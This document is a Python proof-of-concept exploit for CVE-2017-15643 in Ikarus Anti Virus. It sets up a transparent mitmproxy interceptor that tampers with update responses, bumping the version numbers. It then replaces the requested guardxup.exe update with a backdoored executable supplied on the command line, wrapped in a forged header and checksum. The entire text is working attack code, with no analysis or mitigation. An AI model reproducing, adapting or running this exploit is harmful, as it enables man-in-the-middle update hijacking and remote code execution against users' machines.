Ikraus Anti Virus Remote Code Execution(CVE-2017-15643)

                                                #!/usr/bin/env python2
import os
try:
    from mitmproxy import controller, proxy, platform
    from mitmproxy.proxy.server import ProxyServer
except:
    from libmproxy import controller, proxy, platform
    from libmproxy.proxy.server import ProxyServer

import re
import struct
import sys
import zlib
import bz2

class IkarusPOC(controller.Master):
    def __init__(self, server, backdoored_file):
        controller.Master.__init__(self, server)
        self.ikarus= {}
        self.crc_file = 0
        self.backdoored_file = backdoored_file
        self.to_replace = 0
        self.already_patched = 0
        self.update_number = 0 

    def win_header(self):
        self.update_header = "\x49\x4B\x55\x50\x00\x00\x00\x00\x3C\x00\x00\x00\x00\x00\x00\x00"
        self.update_header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
        self.update_header += struct.pack("<I", self.to_replace)        # update number
        self.update_header += struct.pack("<I", self.crc_file)          # checksum
        self.update_header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        self.update_header += "\x00\x00\x00\x00"

    def run(self):
        try:
            return controller.Master.run(self)
        except KeyboardInterrupt:
            self.shutdown()

    def crc_stream(self, a_string):
        prev = 0
        return zlib.crc32(a_string, prev) & 0xFFFFFFFF

    def crc(self, some_file):
        prev = 0
        for eachLine in open(some_file,"rb"):
            prev = zlib.crc32(eachLine, prev)
        self.crc_file = prev & 0xFFFFFFFF 
        print "[*] crc_file", self.crc_file

    def handle_request(self, flow):
        hid = (flow.request.host, flow.request.port)
        flow.reply()

    def handle_response(self, flow):
        print "[*] flow.request.host:", flow.request.host
        if "cgi-bin/imsa-lite.pl" in flow.request.path and "Dalvik" in flow.request.headers['User-Agent'] and self.already_patched <=2:
            content = flow.reply.obj.response.content
            p = re.compile("antispam[\s|\t].*\n")
            result = p.search(content)
            the_result = result.group(0)
            
            original_update_number= [int(s) for s in the_result.split() if s.isdigit()][0]
            if self.update_number == 0:
                self.update_number = original_update_number
            self.to_replace = self.update_number + 1
            content = content.replace(str(original_update_number), str(self.to_replace))
            flow.reply.obj.response.content = content

        if "cgi-bin/virusutilities.pl" in flow.request.path and 'virusutilities' in flow.request.headers['User-Agent'] and self.already_patched <= 2: 
	    print "[*] Found update response, modifying..."
            content = flow.reply.obj.response.content
            p = re.compile("update[\s|\t].*\n")
            result = p.search(content)
            the_result = result.group(0)
            original_update_number = [int(s) for s in the_result.split() if s.isdigit()][0]
            if self.update_number == 0:
                self.update_number = original_update_number
            self.to_replace = self.update_number + 1
            print '[*] Update_number', self.update_number
            print '[*] Replace number', self.to_replace
            content = content.replace(str(original_update_number), str(self.to_replace))
            print "[*] Updated content", content
            flow.reply.obj.response.content = content 

        if 'guard' in flow.request.path and 'full' in flow.request.path and self.already_patched <= 2:
            print '[*] Found guardxup.exe request! Modifying request and pushing provided file!'  
            self.crc(self.backdoored_file)
            self.win_header()
            with open(self.backdoored_file, 'rb') as f:
                file_out  = f.read()
            content = self.update_header + file_out     
            with open('/tmp/update_test.full', 'wb') as f:
                f.write(content)
            flow.reply.obj.response.content = content 
            flow.reply.obj.response.status_code = 200
            self.already_patched += 1 
        flow.reply()


config = proxy.ProxyConfig(port=8080, mode='transparent')
server = ProxyServer(config)
m = IkarusPOC(server, sys.argv[1])
m.run()